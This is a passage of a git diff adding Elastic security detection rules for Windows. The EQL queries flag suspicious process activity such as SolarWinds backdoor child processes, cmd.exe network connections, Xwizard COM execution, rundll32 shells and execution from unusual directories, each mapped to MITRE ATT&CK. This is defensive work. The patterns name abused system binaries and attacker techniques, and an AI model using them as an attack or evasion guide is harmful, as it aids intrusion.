users is unusual. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Whoami Process Activity" +risk_score = 21 +rule_id = "ef862985-3f13-4262-a686-5f357bbb9bc2" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and process.name : "whoami.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1033" +reference = "https://attack.mitre.org/techniques/T1033/" +name = "System Owner/User Discovery" + + +[rule.threat.tactic] +id = "TA0007" +reference = "https://attack.mitre.org/tactics/TA0007/" +name = "Discovery" + diff --git a/rules/windows/execution_apt_solarwinds_backdoor_child_cmd_powershell.toml b/rules/windows/execution_apt_solarwinds_backdoor_child_cmd_powershell.toml new file mode 100644 index 000000000..7ad4ca556 --- /dev/null +++ b/rules/windows/execution_apt_solarwinds_backdoor_child_cmd_powershell.toml @@ -0,0 +1,70 @@ +[metadata] +creation_date = "2020/12/14" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "A suspicious SolarWinds child process (Cmd.exe or Powershell.exe) was detected." +false_positives = [ + "Trusted SolarWinds child processes. Verify process details such as network connections and file writes.", +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Command Execution via SolarWinds Process" +references = [ + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "https://github.com/fireeye/sunburst_countermeasures/blob/main/rules/SUNBURST/hxioc/SOLARWINDS%20SUSPICIOUS%20FILEWRITES%20(METHODOLOGY).ioc", +] +risk_score = 47 +rule_id = "d72e33fc-6e91-42ff-ac8b-e573268c5a87" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and process.name: ("cmd.exe", "powershell.exe") and +process.parent.name: ( + "ConfigurationWizard*.exe", + "NetflowDatabaseMaintenance*.exe", + "NetFlowService*.exe", + "SolarWinds.Administration*.exe", + "SolarWinds.Collector.Service*.exe", + "SolarwindsDiagnostics*.exe" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1195" +name = "Supply Chain Compromise" +reference = "https://attack.mitre.org/techniques/T1195/" +[[rule.threat.technique.subtechnique]] +id = "T1195.002" +name = "Compromise Software Supply Chain" +reference = "https://attack.mitre.org/techniques/T1195/002/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/windows/execution_apt_solarwinds_backdoor_unusual_child_processes.toml b/rules/windows/execution_apt_solarwinds_backdoor_unusual_child_processes.toml new file mode 100644 index 000000000..462f05ab7 --- /dev/null +++ b/rules/windows/execution_apt_solarwinds_backdoor_unusual_child_processes.toml @@ -0,0 +1,72 @@ +[metadata] +creation_date = "2020/12/14" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "A suspicious SolarWinds child process was detected, which may indicate an attempt to execute malicious programs." +false_positives = [ + "Trusted SolarWinds child processes, verify process details such as network connections and file writes.", +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious SolarWinds Child Process" +references = [ + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "https://github.com/fireeye/sunburst_countermeasures/blob/main/rules/SUNBURST/hxioc/SOLARWINDS%20SUSPICIOUS%20CHILD%20PROCESSES%20(METHODOLOGY).ioc", +] +risk_score = 47 +rule_id = "93b22c0a-06a0-4131-b830-b10d5e166ff4" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name: ("SolarWinds.BusinessLayerHost.exe", "SolarWinds.BusinessLayerHostx64.exe") and + not process.name : ( + "APMServiceControl*.exe", + "ExportToPDFCmd*.Exe", + "SolarWinds.Credentials.Orion.WebApi*.exe", + "SolarWinds.Orion.Topology.Calculator*.exe", + "Database-Maint.exe", + "SolarWinds.Orion.ApiPoller.Service.exe", + "WerFault.exe", + "WerMgr.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1106" +name = "Native API" +reference = "https://attack.mitre.org/techniques/T1106/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1195" +name = "Supply Chain Compromise" +reference = "https://attack.mitre.org/techniques/T1195/" +[[rule.threat.technique.subtechnique]] +id = "T1195.002" +name = "Compromise Software Supply Chain" +reference = "https://attack.mitre.org/techniques/T1195/002/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/windows/execution_com_object_xwizard.toml b/rules/windows/execution_com_object_xwizard.toml new file mode 100644 index 000000000..a09519be5 --- /dev/null +++ b/rules/windows/execution_com_object_xwizard.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2021/01/20" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Windows Component Object Model (COM) is an inter-process communication (IPC) component of the native Windows application +programming interface (API) that enables interaction between software objects or executable code. Xwizard can be used to +run a COM object created in registry to evade defensive counter measures. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Execution of COM object via Xwizard" +references = [ + "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", + "http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/", +] +risk_score = 47 +rule_id = "1a6075b0-7479-450e-8fe7-b8b8438ac570" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.pe.original_file_name : "xwizard.exe" and + ( + (process.args : "RunWizard" and process.args : "{*}") or + (process.executable != null and + not process.executable : ("C:\\Windows\\SysWOW64\\xwizard.exe", "C:\\Windows\\System32\\xwizard.exe") + ) + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1559" +name = "Inter-Process Communication" +reference = "https://attack.mitre.org/techniques/T1559/" +[[rule.threat.technique.subtechnique]] +id = "T1559.001" +name = "Component Object Model" +reference = "https://attack.mitre.org/techniques/T1559/001/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/execution_command_prompt_connecting_to_the_internet.toml b/rules/windows/execution_command_prompt_connecting_to_the_internet.toml new file mode 100644 index 000000000..d521f15c7 --- /dev/null +++ b/rules/windows/execution_command_prompt_connecting_to_the_internet.toml @@ -0,0 +1,67 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +Identifies cmd.exe making a network connection. Adversaries could abuse cmd.exe to download or execute malware from a +remote URL. +""" +false_positives = [ + """ + Administrators may use the command prompt for regular administrative tasks. It's important to baseline your + environment for network connections being made from the command prompt to determine any abnormal use of this tool. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Command Prompt Network Connection" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 21 +rule_id = "89f9a4b0-9f8f-4ee0-8823-c4751a6d6696" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +type = "eql" + +query = ''' +sequence by process.entity_id + [process where process.name : "cmd.exe" and event.type == "start"] + [network where process.name : "cmd.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", + "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", + "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", + "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1105" +name = "Ingress Tool Transfer" +reference = "https://attack.mitre.org/techniques/T1105/" + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/windows/execution_command_shell_started_by_svchost.toml b/rules/windows/execution_command_shell_started_by_svchost.toml new file mode 100644 index 000000000..0dfedb601 --- /dev/null +++ b/rules/windows/execution_command_shell_started_by_svchost.toml @@ -0,0 +1,39 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = "Identifies a suspicious parent child process relationship with cmd.exe descending from svchost.exe" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Svchost spawning Cmd" +risk_score = 21 +rule_id = "fd7a6052-58fa-4397-93c3-4795249ccfa2" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : "svchost.exe" and process.name : "cmd.exe" and + not (process.pe.original_file_name == "Cmd.Exe" and process.args : "?:\\Program Files\\Npcap\\CheckStatus.bat??") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +reference = "https://attack.mitre.org/techniques/T1059/" +name = "Command and Scripting Interpreter" + + +[rule.threat.tactic] +id = "TA0002" +reference = "https://attack.mitre.org/tactics/TA0002/" +name = "Execution" diff --git a/rules/windows/execution_command_shell_started_by_unusual_process.toml b/rules/windows/execution_command_shell_started_by_unusual_process.toml new file mode 100644 index 000000000..5d342c4e3 --- /dev/null +++ b/rules/windows/execution_command_shell_started_by_unusual_process.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/08/21" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = "Identifies a suspicious parent child process relationship with cmd.exe descending from an unusual process." +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual Parent Process for cmd.exe" +risk_score = 47 +rule_id = "3b47900d-e793-49e8-968f-c90dc3526aa1" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name : "cmd.exe" and + process.parent.name : ("lsass.exe", + "csrss.exe", + "epad.exe", + "regsvr32.exe", + "dllhost.exe", + "LogonUI.exe", + "wermgr.exe", + "spoolsv.exe", + "jucheck.exe", + "jusched.exe", + "ctfmon.exe", + "taskhostw.exe", + "GoogleUpdate.exe", + "sppsvc.exe", + "sihost.exe", + "slui.exe", + "SIHClient.exe", + "SearchIndexer.exe", + "SearchProtocolHost.exe", + "FlashPlayerUpdateService.exe", + "WerFault.exe", + "WUDFHost.exe", + "unsecapp.exe", + "wlanext.exe" ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +reference = "https://attack.mitre.org/techniques/T1059/" +name = "Command and Scripting Interpreter" + + +[rule.threat.tactic] +id = "TA0002" +reference = "https://attack.mitre.org/tactics/TA0002/" +name = "Execution" + diff --git a/rules/windows/execution_command_shell_via_rundll32.toml b/rules/windows/execution_command_shell_via_rundll32.toml new file mode 100644 index 000000000..3da590475 --- /dev/null +++ b/rules/windows/execution_command_shell_via_rundll32.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/10/19" +maturity = "production" +updated_date = "2021/03/08" + +[rule] +author = ["Elastic"] +description = "Identifies command shell activity started via RunDLL32, which is commonly abused by attackers to host malicious code." +false_positives = ["Microsoft Windows installers leveraging RunDLL32 for installation."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Command Shell Activity Started via RunDLL32" +risk_score = 21 +rule_id = "9ccf3ce0-0057-440a-91f5-870c6ad39093" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.name : ("cmd.exe", "powershell.exe") and + process.parent.name : "rundll32.exe" and process.parent.command_line != null and + /* common FPs can be added here */ + not process.parent.args : ("C:\\Windows\\System32\\SHELL32.dll,RunAsNewUser_RunDLL", + "C:\\WINDOWS\\*.tmp,zzzzInvokeManagedCustomActionOutOfProc") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.001" +name = "PowerShell" +reference = "https://attack.mitre.org/techniques/T1059/001/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" diff --git a/rules/windows/execution_downloaded_shortcut_files.toml b/rules/windows/execution_downloaded_shortcut_files.toml new file mode 100644 index 000000000..819406f15 --- /dev/null +++ b/rules/windows/execution_downloaded_shortcut_files.toml @@ -0,0 +1,76 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "development" +query_schema_validation = false +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies .lnk shortcut file downloaded from outside the local network. These shortcut files are commonly used in +phishing campaigns. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Downloaded Shortcut Files" +risk_score = 21 +rule_id = "6b1fd8e8-cefe-444c-bc4d-feaa2c497347" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +type = "eql" + +query = ''' +/* leaving in development pending `file.Ext.windows.zone_identifier` landing in ECS then endpoint */ + +sequence by process.entity_id with maxspan=2s + /* file.extension added to endpoint fields for 7.10 */ + [file where event.type == "creation" and file.extension == "lnk"] + /* not sure yet how the update will capture ADS */ + [file where event.type == "creation" and file.extension == "lnk:Zone.Identifier" and + /* non-ECS field - may disqualify conversion */ + file.Ext.windows.zone_identifier > 1] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1204" +name = "User Execution" +reference = "https://attack.mitre.org/techniques/T1204/" + + [[rule.threat.technique.subtechnique]] + id = "T1204.002" + name = "Malicious File" + reference = "https://attack.mitre.org/techniques/T1204/002/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" +[[rule.threat.technique.subtechnique]] +id = "T1566.001" +name = "Spearphishing Attachment" +reference = "https://attack.mitre.org/techniques/T1566/001/" + +[[rule.threat.technique.subtechnique]] +id = "T1566.002" +name = "Spearphishing Link" +reference = "https://attack.mitre.org/techniques/T1566/002/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/windows/execution_downloaded_url_file.toml b/rules/windows/execution_downloaded_url_file.toml new file mode 100644 index 000000000..3a3bb43af --- /dev/null +++ b/rules/windows/execution_downloaded_url_file.toml @@ -0,0 +1,70 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "development" +query_schema_validation = false +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies .url shortcut files downloaded from outside the local network. These shortcut files are commonly used in +phishing campaigns. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Downloaded URL Files" +risk_score = 21 +rule_id = "cd82e3d6-1346-4afd-8f22-38388bbf34cb" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +type = "eql" + +query = ''' +/* leaving in development pending `file.Ext.windows.zone_identifier` landing in ECS then endpoint */ + +sequence by process.entity_id with maxspan=2s + [file where event.type == "creation" and file.extension == "url" and + not process.name == "explorer.exe"] + [file where event.type == "creation" and file.extension == "url:Zone.Identifier" and + /* non-ECS field - may disqualify conversion */ + file.Ext.windows.zone_identifier > 1 and not process.name == "explorer.exe"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1204" +name = "User Execution" +reference = "https://attack.mitre.org/techniques/T1204/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" +[[rule.threat.technique.subtechnique]] +id = "T1566.001" +name = "Spearphishing Attachment" +reference = "https://attack.mitre.org/techniques/T1566/001/" + +[[rule.threat.technique.subtechnique]] +id = "T1566.002" +name = "Spearphishing Link" +reference = "https://attack.mitre.org/techniques/T1566/002/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/windows/execution_enumeration_via_wmiprvse.toml b/rules/windows/execution_enumeration_via_wmiprvse.toml new file mode 100644 index 000000000..a4ba90c92 --- /dev/null +++ b/rules/windows/execution_enumeration_via_wmiprvse.toml @@ -0,0 +1,92 @@ +[metadata] +creation_date = "2021/01/19" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies native Windows host and network enumeration commands spawned by the Windows Management Instrumentation +Provider Service (WMIPrvSE). +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Enumeration Command Spawned via WMIPrvSE" +risk_score = 21 +rule_id = "770e0c4d-b998-41e5-a62e-c7901fd7f470" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name: + ( + "arp.exe", + "dsquery.exe", + "dsget.exe", + "gpresult.exe", + "hostname.exe", + "ipconfig.exe", + "nbtstat.exe", + "net.exe", + "net1.exe", + "netsh.exe", + "netstat.exe", + "nltest.exe", + "ping.exe", + "qprocess.exe", + "quser.exe", + "qwinsta.exe", + "reg.exe", + "sc.exe", + "systeminfo.exe", + "tasklist.exe", + "tracert.exe", + "whoami.exe" + ) and + process.parent.name:"wmiprvse.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1047" +name = "Windows Management Instrumentation" +reference = "https://attack.mitre.org/techniques/T1047/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1518" +name = "Software Discovery" +reference = "https://attack.mitre.org/techniques/T1518/" + + +[[rule.threat.technique]] +id = "T1087" +name = "Account Discovery" +reference = "https://attack.mitre.org/techniques/T1087/" + + +[[rule.threat.technique]] +id = "T1018" +name = "Remote System Discovery" +reference = "https://attack.mitre.org/techniques/T1018/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" diff --git a/rules/windows/execution_from_unusual_directory.toml b/rules/windows/execution_from_unusual_directory.toml new file mode 100644 index 000000000..5cafcdf6a --- /dev/null +++ b/rules/windows/execution_from_unusual_directory.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/10/30" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies process execution from suspicious default Windows directories. This is sometimes done by adversaries to hide +malware in trusted paths. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Process Execution from an Unusual Directory" +risk_score = 47 +rule_id = "ebfe1448-7fac-4d59-acea-181bd89b1f7f" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started", "info") and + /* add suspicious execution paths here */ +process.executable : ("C:\\PerfLogs\\*.exe","C:\\Users\\Public\\*.exe","C:\\Users\\Default\\*.exe","C:\\Windows\\Tasks\\*.exe","C:\\Intel\\*.exe","C:\\AMD\\Temp\\*.exe","C:\\Windows\\AppReadiness\\*.exe", +"C:\\Windows\\ServiceState\\*.exe","C:\\Windows\\security\\*.exe","C:\\Windows\\IdentityCRL\\*.exe","C:\\Windows\\Branding\\*.exe","C:\\Windows\\csc\\*.exe", + "C:\\Windows\\DigitalLocker\\*.exe","C:\\Windows\\en-US\\*.exe","C:\\Windows\\wlansvc\\*.exe","C:\\Windows\\Prefetch\\*.exe","C:\\Windows\\Fonts\\*.exe", + "C:\\Windows\\diagnostics\\*.exe","C:\\Windows\\TAPI\\*.exe","C:\\Windows\\INF\\*.exe","C:\\Windows\\System32\\Speech\\*.exe","C:\\windows\\tracing\\*.exe", + "c:\\windows\\IME\\*.exe","c:\\Windows\\Performance\\*.exe","c:\\windows\\intel\\*.exe","c:\\windows\\ms\\*.exe","C:\\Windows\\dot3svc\\*.exe","C:\\Windows\\ServiceProfiles\\*.exe", + "C:\\Windows\\panther\\*.exe","C:\\Windows\\RemotePackages\\*.exe","C:\\Windows\\OCR\\*.exe","C:\\Windows\\appcompat\\*.exe","C:\\Windows\\apppatch\\*.exe","C:\\Windows\\addins\\*.exe", + "C:\\Windows\\Setup\\*.exe","C:\\Windows\\Help\\*.exe","C:\\Windows\\SKB\\*.exe","C:\\Windows\\Vss\\*.exe","C:\\Windows\\Web\\*.exe","C:\\Windows\\servicing\\*.exe","C:\\Windows\\CbsTemp\\*.exe", + "C:\\Windows\\Logs\\*.exe","C:\\Windows\\WaaS\\*.exe","C:\\Windows\\twain_32\\*.exe","C:\\Windows\\ShellExperiences\\*.exe","C:\\Windows\\ShellComponents\\*.exe","C:\\Windows\\PLA\\*.exe", + "C:\\Windows\\Migration\\*.exe","C:\\Windows\\debug\\*.exe","C:\\Windows\\Cursors\\*.exe","C:\\Windows\\Containers\\*.exe","C:\\Windows\\Boot\\*.exe","C:\\Windows\\bcastdvr\\*.exe", + "C:\\Windows\\assembly\\*.exe","C:\\Windows\\TextInput\\*.exe","C:\\Windows\\security\\*.exe","C:\\Windows\\schemas\\*.exe","C:\\Windows\\SchCache\\*.exe","C:\\Windows\\Resources\\*.exe", + "C:\\Windows\\rescache\\*.exe","C:\\Windows\\Provisioning\\*.exe","C:\\Windows\\PrintDialog\\*.exe","C:\\Windows\\PolicyDefinitions\\*.exe","C:\\Windows\\media\\*.exe", + "C:\\Windows\\Globalization\\*.exe","C:\\Windows\\L2Schemas\\*.exe","C:\\Windows\\LiveKernelReports\\*.exe","C:\\Windows\\ModemLogs\\*.exe","C:\\Windows\\ImmersiveControlPanel\\*.exe") and + not process.name : ("SpeechUXWiz.exe","SystemSettings.exe","TrustedInstaller.exe","PrintDialog.exe","MpSigStub.exe","LMS.exe","mpam-*.exe") + /* uncomment once in winlogbeat */ + /* and not (process.code_signature.subject_name == "Microsoft Corporation" and process.code_signature.trusted == true) */ +''' + diff --git a/rules/windows/execution_from_unusual_path_cmdline.toml b/rules/windows/execution_from_unusual_path_cmdline.toml new file mode 100644 index 000000000..c7032c583 --- /dev/null +++ b/rules/windows/execution_from_unusual_path_cmdline.toml @@ -0,0 +1,118 @@ +[metadata] +creation_date = "2020/10/30" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +Identifies process execution from suspicious default Windows directories. This may be abused by adversaries to hide +malware in trusted paths. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Execution from Unusual Directory - Command Line" +note = """## Triage and analysis + +This is related to the `Process Execution from an Unusual Directory rule`.""" +risk_score = 47 +rule_id = "cff92c41-2225-4763-b4ce-6f71e5bda5e6" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started", "info") and + process.name : ("wscript.exe", + "cscript.exe", + "rundll32.exe", + "regsvr32.exe", + "cmstp.exe", + "RegAsm.exe", + "installutil.exe", + "mshta.exe", + "RegSvcs.exe", + "powershell.exe", + "pwsh.exe", + "cmd.exe") and + + /* add suspicious execution paths here */ + process.args : ("C:\\PerfLogs\\*", + "C:\\Users\\Public\\*", + "C:\\Users\\Default\\*", + "C:\\Windows\\Tasks\\*", + "C:\\Intel\\*", + "C:\\AMD\\Temp\\*", + "C:\\Windows\\AppReadiness\\*", + "C:\\Windows\\ServiceState\\*", + "C:\\Windows\\security\\*", + "C:\\Windows\\IdentityCRL\\*", + "C:\\Windows\\Branding\\*", + "C:\\Windows\\csc\\*", + "C:\\Windows\\DigitalLocker\\*", + "C:\\Windows\\en-US\\*", + "C:\\Windows\\wlansvc\\*", + "C:\\Windows\\Prefetch\\*", + "C:\\Windows\\Fonts\\*", + "C:\\Windows\\diagnostics\\*", + "C:\\Windows\\TAPI\\*", + "C:\\Windows\\INF\\*", + "C:\\Windows\\System32\\Speech\\*", + "C:\\windows\\tracing\\*", + "c:\\windows\\IME\\*", + "c:\\Windows\\Performance\\*", + "c:\\windows\\intel\\*", + "c:\\windows\\ms\\*", + "C:\\Windows\\dot3svc\\*", + "C:\\Windows\\ServiceProfiles\\*", + "C:\\Windows\\panther\\*", + "C:\\Windows\\RemotePackages\\*", + "C:\\Windows\\OCR\\*", + "C:\\Windows\\appcompat\\*", + "C:\\Windows\\apppatch\\*", + "C:\\Windows\\addins\\*", + "C:\\Windows\\Setup\\*", + "C:\\Windows\\Help\\*", + "C:\\Windows\\SKB\\*", + "C:\\Windows\\Vss\\*", + "C:\\Windows\\Web\\*", + "C:\\Windows\\servicing\\*", + "C:\\Windows\\CbsTemp\\*", + "C:\\Windows\\Logs\\*", + "C:\\Windows\\WaaS\\*", + "C:\\Windows\\twain_32\\*", + "C:\\Windows\\ShellExperiences\\*", + "C:\\Windows\\ShellComponents\\*", + "C:\\Windows\\PLA\\*", + "C:\\Windows\\Migration\\*", + "C:\\Windows\\debug\\*", + "C:\\Windows\\Cursors\\*", + "C:\\Windows\\Containers\\*", + "C:\\Windows\\Boot\\*", + "C:\\Windows\\bcastdvr\\*", + "C:\\Windows\\assembly\\*", + "C:\\Windows\\TextInput\\*", + "C:\\Windows\\security\\*", + "C:\\Windows\\schemas\\*", + "C:\\Windows\\SchCache\\*", + "C:\\Windows\\Resources\\*", + "C:\\Windows\\rescache\\*", + "C:\\Windows\\Provisioning\\*", + "C:\\Windows\\PrintDialog\\*", + "C:\\Windows\\PolicyDefinitions\\*", + "C:\\Windows\\media\\*", + "C:\\Windows\\Globalization\\*", + "C:\\Windows\\L2Schemas\\*", + "C:\\Windows\\LiveKernelReports\\*", + "C:\\Windows\\ModemLogs\\*", + "C:\\Windows\\ImmersiveControlPanel\\*", + "C:\\$Recycle.Bin\\*") and + not process.parent.executable : ("C:\\WINDOWS\\System32\\DriverStore\\FileRepository\\*\\igfxCUIService*.exe", + "C:\\Windows\\System32\\spacedeskService.exe", + "C:\\Program Files\\Dell\\SupportAssistAgent\\SRE\\SRE.exe") and + not (process.name : "rundll32.exe" and process.args : ("uxtheme.dll,#64", "PRINTUI.DLL,PrintUIEntry")) +''' + diff --git a/rules/windows/execution_html_help_executable_program_connecting_to_the_internet.toml b/rules/windows/execution_html_help_executable_program_connecting_to_the_internet.toml new file mode 100644 index 000000000..19d68e83a --- /dev/null +++ b/rules/windows/execution_html_help_executable_program_connecting_to_the_internet.toml @@ -0,0 +1,73 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Compiled HTML files (.chm) are commonly distributed as part of the 